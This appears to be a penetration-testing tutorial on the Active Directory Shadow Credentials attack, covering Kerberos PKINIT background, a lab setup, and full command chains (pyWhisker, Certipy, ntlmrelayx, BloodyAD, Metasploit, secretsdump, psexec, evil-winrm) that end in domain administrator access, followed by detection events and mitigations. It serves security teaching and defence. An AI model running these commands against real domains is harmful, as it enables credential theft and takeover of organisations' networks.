Shadow Credentials Attack

1|Page
 Shadow Credentials Attack

Contents
Introduction ............................................................................................................................................. 3
Introduction to Kerberos Authentication................................................................................................. 3
Symmetric Encryption in Kerberos................................................................................................. 3
Asymmetric Encryption with PKINIT ............................................................................................ 3
The msDS-KeyCredentialLink Attribute ........................................................................................ 4
How Shadow Credentials Work ...................................................................................................... 5
Prerequisites ............................................................................................................................................ 5
Lab Setup ................................................................................................................................................ 6
Create the AD Environment: ........................................................................................................... 6
Domain Controller: ......................................................................................................................... 6
User Accounts: ................................................................................................................................ 6
Add 'Krishna' User to Privileged Groups: ....................................................................................... 6
Exploitation ............................................................................................................................................. 8
Bloodhound – Hunting for Weak Permission ..................................................................................... 8
Method for Exploitation ........................................................................................................................ 11
PyWhisker ......................................................................................................................................... 11
PKINITtools...................................................................................................................................... 13
Certipy-ad ......................................................................................................................................... 13
NTLMRelayx .................................................................................................................................... 14
BloodyAD ......................................................................................................................................... 16
Metasploit ......................................................................................................................................... 17
Ldap_shell ......................................................................................................................................... 18
Post-Exploitation................................................................................................................................... 19
Impacket -psexec .............................................................................................................................. 19
Evil-winrm ........................................................................................................................................ 19
Detection & Mitigation ......................................................................................................................... 20
Detection ........................................................................................................................................... 20
Kerberos Authentication Ticket (TGT) Request ........................................................................... 20
Active Directory Object Modification .......................................................................................... 20
Mitigation.......................................................................................................................................... 21
Regular Audits and Compliance Checks:...................................................................................... 21
Implementing Strong Access Controls:......................................................................................... 21
Multi-Factor Authentication (MFA):............................................................................................. 21
Periodic Key Rotation: .................................................................................................................. 21

2|Page
 Shadow Credentials Attack

Introduction
To begin with, this post explores the exploitation technique known as the Shadow Credentials attack.
This attack leverages the mismanagement or exploitation of Active Directory Certificate Services (AD
CS) to inject custom certificates into a user account, granting attackers persistent access. As a result
of modifying the msDS-KeyCredentialLink attribute, adversaries can effectively create "shadow
credentials" that allow them to authenticate as the target user without needing their password or
NTLM hash.

The post outlines lab setup, exploitation methods, and mitigation techniques, mapped to the MITRE
ATT&CK framework for clarity. In addition, detection mechanisms and actionable recommendations
are provided to help security professionals identify and defend against this prevalent threat.

Specifically, this article focuses on the Shadow Credentials attack, a stealthy method that enables
persistence in Active Directory by exploiting misconfigurations in certificate-based authentication.

Introduction to Kerberos Authentication

Active Directory uses Kerberos, a trusted authentication protocol, to securely verify the identity of
users and services. It issues tickets to avoid transmitting passwords over the network.

Symmetric Encryption in Kerberos

In traditional Kerberos authentication, symmetric encryption is used. Here's how it works:

1. AS-REQ (Authentication Service Request): The client sends a request to the Key Distribution
Center (KDC), including a timestamp encrypted with a key derived from the user’s password.

2. AS-REP (Authentication Service Response): The KDC validates the timestamp using the
user’s stored hash and returns a Ticket Granting Ticket (TGT) encrypted with the KDC’s secret
key.

3. TGS-REQ and TGS-REP: The client uses the TGT to request access to a service, and the KDC
issues a service ticket.

However, while symmetric encryption is effective, it relies on shared secrets (passwords) and is not
suitable for scenarios requiring public key infrastructure (PKI), such as smart card authentication.

Asymmetric Encryption with PKINIT

PKINIT (Public Key Cryptography for Initial Authentication): To address this limitation, PKINIT (Public
Key Cryptography for Initial Authentication) is an extension of Kerberos that uses asymmetric
encryption. Instead of relying on passwords, it uses public-private key pairs for authentication.

PKINIT Certificate Authentication: Uses a traditional X.509 certificate and private key pair to
authenticate a Kerberos client. The KDC directly validates the certificate.

PKINIT Key Trust: Relies on a public key stored in the msDS-KeyCredentialLink attribute of an AD
object. The KDC authenticates the client by verifying that the public key used in the authentication
request matches the one stored in the AD object, without needing a traditional certificate.

Here’s how it works:

1. AS-REQ with PKINIT: The client sends a request to the KDC, including a timestamp signed
with the client’s private key and the corresponding public key.

3|Page
 Shadow Credentials Attack

2. Public Key Validation: The KDC checks the client’s public key against the msDS-
KeyCredentialLink attribute in Active Directory. Means, instead of directly using the
certificate for authentication, the KDC is validating if any of the public keys in the msDS-
KeyCredentialLink attribute of the user matches the one used in the AS-REQ. If the key is
valid, the KDC decrypts the timestamp and verifies the signature.

3. AS-REP: If validation is successful, the KDC issues a TGT to the client.

Consequently, Among various lateral movement and persistence techniques, the Shadow
Credentials attack has become a significant concern for AD security analysts due to its covert nature
and minimal visibility on traditional SIEM tools.

The msDS-KeyCredentialLink Attribute

In simple terms, PKINIT introduces the msDS-KeyCredentialLink attribute in Windows Server 2016 to
store public keys for authentication. This attribute is crucial for certificate-based authentication, and
here are its key details:

1. The msDS-KeyCredentialLink is a multi-value attribute, meaning multiple public keys can be

stored for a single account, often representing different devices linked to that account.

2. Each value in this attribute contains serialized objects called Key Credentials. These objects
include.

o Creation date

o Distinguished name of the owner

o A GUID representing a Device ID

o The public key itself

3. During PKINIT authentication, the client’s public key is verified against the values stored in
this attribute. If a match is found, the KDC proceeds with authentication.

4. Therefore, managing and modifying the msDS-KeyCredentialLink attribute is an action that

requires specific permissions, typically held by accounts that are members of highly
privileged groups.

These groups include:

Key Admins: members of this group can perform administrative actions on key objects within the
domain. The Key Admins group applies to the Windows Server operating system in Default Active
Directory security groups.

Enterprise Key Admins: members of this group can perform administrative actions on key objects
within the forest.

Domain Admins: members of this group have almost all the privileges within a domain, including the
ability to modify attributes.

5. It is important to note that user objects can’t edit their own msDS-KeyCredentialLink
attribute, while computer objects can. On the other hand, computer objects can edit their
own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already
exists.

4|Page
 Shadow Credentials Attack

How Shadow Credentials Work

The Shadow Credentials attack takes advantage of improper permissions on the msDS-
KeyCredentialLink attribute, allowing attackers to inject their own public key into the attribute of a
target user or computer account. Once this is done, they can impersonate the target account using
PKINIT.

To clarify the process, here is how the attack works step by step:

Step 1: Identify Target Permissions

The attacker identifies an Active Directory object (such as a user or computer account) where they
have permissions to modify attributes. Permissions like GenericWrite or GenericAll are required to
modify the msDS-KeyCredentialLink attribute.

Step 2: Inject the Attacker’s Public Key

Next, the attacker adds their own public key to the msDS-KeyCredentialLink attribute of the target
account. This process essentially “registers” the attacker’s key as a valid authentication method for
the target.

Step 3: Generate a Certificate

The attacker creates a certificate in PFX format using the private key associated with the injected
public key. This certificate is now tied to the target account.

Step 4: Authenticate as the Target Account

With the generated certificate, the attacker authenticates to the domain using PKINIT. The KDC
validates the attacker’s public key against the msDS-KeyCredentialLink attribute and issues a Ticket
Granting Ticket (TGT) for the target account.

Step 5: Impersonate Users or Escalate Privileges

Using the TGT, the attacker can:

• Perform lateral movement within the network.

• Use the S4U2self protocol to impersonate other users.

• Extract NTLM hashes from the Privilege Attribute Certificate (PAC).

Prerequisites
• Windows Server 2019 as Active Directory that supports PKINIT

• Domain must have Active Directory Certificate Services and Certificate Authority configured.

• Kali Linux

• Tools: PyWhishker, Impacket, certipy-ad, BloodyAD, Metasploit, ldap_shell

• Windows 10/11 – As Client

5|Page
 Shadow Credentials Attack

Lab Setup
In this lab setup, we will create a user named 'Krishna' and elevate its privileges by adding it to the
Key Admins and Enterprise Key Admins groups. This setup will showcase how attackers can exploit
the msDS-KeyCredentialLink attribute to perform a Shadow Credentials attack, demonstrating
privilege escalation and unauthorized persistent access.

Create the AD Environment:

To simulate an Active Directory environment, you will need a Windows Server as a Domain Controller
(DC) and a client machine (Windows or Linux) where you can run enumeration and exploitation tools.

Domain Controller:
• Install Windows Server (2016 or 2019 recommended) that supports PKINIT.

• Promote it to a Domain Controller by adding the Active Directory Domain Services

• Set up the domain (e.g., local).

• The domain must have Active Directory Certificate Services and a Certificate Authority

User Accounts:
• Firstly, create an AD user account named Krishna.

net user krishna Password@1 /add /domain

Add 'Krishna' User to Privileged Groups:

Once your AD environment is set up, you need to add Krishna user to the Key Admins and Enterprise
Key Admins security groups.

Steps:

• Open Active Directory Users and Computers (ADUC) on the Domain Controller.

• Enable the Advanced Features view by clicking on View > Advanced Features.

• Locate User Krishna in the Users

• Right-click on Krishna User and go to Properties.

6|Page
 Shadow Credentials Attack

• Go to the Member Oftab and click on Add button

• In the “Enter the object name to select” box, type Key Admins and Enterprise Key
Adminsand click Check Names and click on OK

• Apply the settings.

7|Page
 Shadow Credentials Attack

Setting up a controlled environment is crucial to accurately simulate and analyze the Shadow
Credentials attack in a real-world AD environment.

Exploitation
Bloodhound – Hunting for Weak Permission
To verify the setup, use BloodHound to Confirm Privileges: You can use BloodHound to verify
that Krishna have the ability to write to the "msds-KeyCredentialLink" property on DC.IGNITE.LOCAL

bloodhound-python -u krishna -p Password@1 -ns 192.168.1.48 -d ignite.local -c All

8|Page
 Shadow Credentials Attack

From the graphical representation of Bloodhound, the tester would like to identify the Reachable
high value targets for selected user.

9|Page
 Shadow Credentials Attack

Thus, it has shown the Krishna User have the ability to write to the "msds-KeyCredentialLink"
property on DC.IGNITE.LOCAL. Writing to this property allows an attacker to create "Shadow
Credentials" on the object and authenticate as the principal using Kerberos PKINIT.

10 | P a g e
 Shadow Credentials Attack

Method for Exploitation

Attackers can exploit the msDS-KeyCredentialLink attribute by injecting rogue public keys into a
target user's account. One of the main enablers of the Shadow Credentials attack is the misuse of
the msDS-KeyCredentialLink attribute, which allows attackers to register rogue public keys for
authentication.

PyWhisker
From UNIX-like systems, the msDS-KeyCredentialLink attribute of a user or computer target can be
manipulated with the pyWhisker tool.

Clone the repository and install:

git clone https://github.com/ShutdownRepo/pywhisker.git

python3 setup.py install

List all the current KeyCredential IDs and their creation times associated with the DC$ object.

pywhisker -d ignite.local -u "krishna" -p "Password@1" --target "DC$" --action "list"

At this point of time, it shows that attribute msDS-KeyCredentialLink is empty.

The exploitation phase begins with populating the msDS-KeyCredentialLink attribute.

PyWhishker add functionality, will generates a public-private key pair and adds a new key credential
to the target object DC$.

Following this, the output specifies the PFX file (and its associated password) where the certificate is
stored. You will need this in the next step to obtain a Kerberos TGT (ticket-granting-ticket) for the
machine account using PKINIT.

pywhisker -d "ignite.local" -u "krishna" -p "Password@1" --target "DC$" --action "add" --filename DC$

11 | P a g e
 Shadow Credentials Attack

After you add the new key, rerun the list command to verify that the system successfully added it.
This time, the output will show the newly created KeyCredential ID, along with its creation time,
including the Device ID of the new key.

pywhisker -d ignite.local -u "krishna" -p "Password@1" --target "DC$" --action "list"

Next, use the pywhisker info command to retrieve detailed information about the newly added
KeyCredential linked to the DC$ object, identified by the Device ID.

pywhisker -d "ignite.local" -u "krishna" -p "Password@1" --target "DC$" --action "info" --device-id e9c84cef-af24-
9755-8ce3-67088fd3d280

12 | P a g e
 Shadow Credentials Attack

PKINITtools
Utilize PKINITOOLS to obtain a Kerberos TGT (ticket-granting-ticket) for the machine account

Request a TGT using the PFX file that we generated using whisker’s add functionality. This uses
Kerberos PKINIT and will output a TGT into the specified ccache. It will also print the AS-REP
encryption key which you may need for the getnthash.py tool.

python gettgtpkinit.py -cert-pfx "/root/DC$.pfx" -pfx-pass eK2PeOlwG60EkPS2TNxX ignite.local/dc$ dc$.ccache

Set the KRB5CCNAME environment variable to point to the previously generated dc$.ccache file

export KRB5CCNAME=/root/PKINITtools/dc\$.ccache

Utilize getnthash.py to retrieve the machine account's NTLM hash

The getnthash.py tool utilizes Kerberos U2U (User-to-User) to submit a TGS (Ticket Granting Service)
request for the attacker, which includes the PAC (Privilege Attribute Certificate). The PAC contains the
NT hash for the targeted account, and the tool decrypts it using the AS-REP key that was used to
obtain the TGT (Ticket Granting Ticket). This allows the attacker to extract the NTLM hash for further
exploitation, such as Pass-the-Hash attacks.

python getnthash.py -key 86b989daa8099f4f9f04f14be14b33556f043c56b48b4d3c36ef030a65c9b3a0

ignite.local/dc$

Certipy-ad
As an alternative, Certipy can automate these steps in a single command, streamlining the
exploitation process.

Certipy's shadow command has an auto action, which will add a new Key Credential to the target
account, authenticate with the Key Credential to retrieve the NT hash and a TGT for the target, and
finally restore the old Key Credential attribute.

certipy-ad shadow auto -u krishna@ignite.local -p Password@1 -account dc$

13 | P a g e
 Shadow Credentials Attack

NTLMRelayx
Alternatively, you can set shadow credentials on the computer object using ntlmrelayx.

We will launch ntlmrelayx with the “–shadow-credentials” option and the “–shadow-target”
parameter set to the name of the computer account that we are expecting to relay (in this case, DC$)

impacket-ntlmrelayx -t ldap://192.168.1.58 --shadow-credentials --shadow-target 'dc$'

Trigger a callback via browser, using krishna user’s credentials.

14 | P a g e
 Shadow Credentials Attack

After a brief wait, we receive an HTTP connection from the DC$ computer account along with its
NTLM credentials. These credentials are then relayed to the LDAP service on the domain controller
and the msDS-KeyCredentialLink attribute of the relayed computer account is updated.

Utilize PKINITOOLS to obtain a Kerberos TGT (ticket-granting-ticket) for the machine account

python3 PKINITtools/gettgtpkinit.py -cert-pfx vX3iEoe3.pfx -pfx-pass 5SwBdP4py1IG9kDhh2nk ignite.local/dc$

shadow.ccache

Set the KRB5CCNAME environment variable to point to the previously generated shadow.ccache file

export KRB5CCNAME=shadow.ccache

15 | P a g e
 Shadow Credentials Attack

Utilize getnthash.py to retrieve the machine account's NTLM hash

python PKINITtools/getnthash.py -key

44ca95c94d0cb47212d3ee5ff27b9cf8a48a5cd113f0120a3178112e4af16f48 ignite.local/dc$

BloodyAD
Alternatively, BloodyAD tool can be used to add Shadow Credentials to the msDS-KeyCredentialLink
attribute of the target object (DC$) in the domain ignite.local

bloodyAD --host 192.168.1.58 -u krishna -p Password@1 -d ignite.local add shadowCredentials DC$

The above command generated certificate file along with private key in pem file format

Utilize PKINITOOLS to obtain a Kerberos TGT (ticket-granting-ticket) for the machine account

python3 PKINITtools/gettgtpkinit.py -cert-pem CVU5WmSJ_cert.pem -key-pem CVU5WmSJ_priv.pem

ignite.local/DC$ raj.ccache

Set the KRB5CCNAME environment variable to point to the previously generated raj.ccache file

export KRB5CCNAME=raj.ccache

16 | P a g e
 Shadow Credentials Attack

Utilize getnthash.py to retrieve the machine account's NTLM hash

python getnthash.py -key 56b304876557c0cc53482e6aaadf510058c4baf2d4be93b85b39fae511f9d2d3

ignite.local/dc$

Metasploit
This module can read and write the necessary LDAP attributes to configure a particular account with
a Key Credential Link. This allows weaponizing write access to a user account by adding a certificate
that can subsequently be used to authenticate. In order for this to succeed, the authenticated user
must have write access to the target object (the object specified in TARGET_USER).

use auxiliary/admin/ldap/shadow_credentials
set rhosts 192.168.1.58
set username krishna
set password Password@1
set domain ignite.local
set target_user dc$
set rport 636
set ssl true
set action add
run

Certificate file is stored in the /.msf4/loot folder. Since the file name is too long we can rename it for
our convenience.

17 | P a g e
 Shadow Credentials Attack

The auxiliary/admin/kerberos/get_ticket module can be used to request TGT/TGS tickets from the
KDC.

use auxiliary/admin/kerberos/get_ticket
set rhosts 192.168.1.58
set action GET_HASH
set domain ignite.local
set username dc$
set cert_file /root/.msf4/loot/dc.pfx
run

Ldap_shell
Similarly, you can achieve this using ldap_shell.

Ldap_shell ignite.local/krishna:Password@1 -dc-ip 192.168.1.58

18 | P a g e
 Shadow Credentials Attack

Post-Exploitation
Using DC machine hash, dump the administrator NTLM hashes from the domain controller. And then
perform lateral movement using psexec or evil-winrm.

Impacket -psexec
Using Impacket’s secretdump script to extract password hashes.

impacket-secretsdump -hashes :9df8e4935c53f1a8a007dad9a96232e3 'ignite/dc$@ignite.local' -just-dc-user

administrator

Use Impacket’s psexec module to gain access using pass-the-hash technique

impacket-psexec -hashes :32196b56ffe6f45e294117b91a83bf38 ignite.local/administrator@192.168.1.58

Evil-winrm
Another option is to use evil-winrm to perform the same action.

19 | P a g e
 Shadow Credentials Attack

Using Impacket’s secretdump script to extract password hashes.

impacket-secretsdump -hashes :9df8e4935c53f1a8a007dad9a96232e3 'ignite/dc$@ignite.local' -just-dc-user

administrator

Use evil-winrm tool to gain access using pass-the-hash technique

evil-winrm -i 192.168.1.58 -u administrator -H 32196b56ffe6f45e294117b91a83bf38

In light of this, defending against a Shadow Credentials attack requires both proactive monitoring
and understanding of how certificate-based authentication interacts with AD object permissions.

Detection & Mitigation

Detection
Kerberos Authentication Ticket (TGT) Request
• Event: 4768 – Kerberos Authentication Ticket (TGT) was requested

• Anomaly: If PKINIT authentication (Public Key Cryptography for Initial Authentication in

Kerberos) is uncommon in the environment or not typically used for the target account, it
may indicate suspicious behavior.

• Key Indicator: Look for events where Certificate Information attributes are not blank in the
TGT request. This may suggest the use of certificates for authentication, potentially pointing
to shadow credential abuse or malicious activity.

• Action: Investigate accounts that request a TGT using certificate-based authentication in

environments where such usage is uncommon.

Active Directory Object Modification

• Event: 5136 – Directory Service Object Was Modified

• Anomaly: Notably, if a System Access Control List (SACL) audits modifications to Active
Directory objects for the targeted account, the system logs an event when it modifies an
object (such as a user or device account).

20 | P a g e
 Shadow Credentials Attack

• Key Indicator: Look for modifications to the msDS-KeyCredentialLink attribute, which links
keys to user or service accounts. If the modification is performed by an account other than
the legitimate Azure AD Connect synchronization account or the ADFS service account, this
could signal suspicious activity.

• Action: Investigate changes to the msDS-KeyCredentialLink. Treat unauthorized

modifications as potential indicators of shadow credentials tampering, especially when
accounts not typically involved in key provisioning—like Azure AD Connect or ADFS service
accounts—perform them.

By monitoring these key events, you can effectively detect shadow credential attacks and respond to
potential security breaches in your environment.

Mitigation
Regular Audits and Compliance Checks:
Regularly audit AD accounts and their attributes to detect shadow credentials early. Compliance
checks should make sure that all key credentials are valid and necessary. It's also important to know
how normal key credentials are stored, especially for third-party systems. This will help in identifying
suspicious keys.

Implementing Strong Access Controls:

Make sure only authorized personnel can modify important attributes like msDS-KeyCredentialLink
by enforcing strict access controls. Use Role-Based Access Control (RBAC) to limit who has these
privileges. Securing these accounts is crucial because attackers could use them without raising
suspicion.

Multi-Factor Authentication (MFA):

Implement MFA whenever possible to add an extra layer of security. This helps reduce the reliance
on just one authentication method, making it harder for rogue key credentials to be used.

Periodic Key Rotation:

Rotate keys and credentials regularly to limit how long attackers can use unauthorized shadow
credentials. Regular rotation helps minimize the impact of shadow credentials added without
permission.

In conclusion, Understanding the Shadow Credentials attack is crucial for strengthening Active
Directory defenses against PKINIT and KeyCredential abuse.

21 | P a g e
 JOIN OUR
TRAINING PROGRAMS
H ERE
CLICK BEGINNER

Bug Bounty Network Security

Ethical Hacking Essentials

Network Pentest
Wireless Pentest

ADVANCED

Burp Suite Pro Web Pro Computer

Services-API Infrastructure VAPT Forensics

Advanced CTF
Android Pentest Metasploit

EXPERT

Red Team Operation

Privilege Escalation
APT’s - MITRE Attack Tactics
Windows
Active Directory Attack
Linux
MSSQL Security Assessment

www.ignitetechnologies.in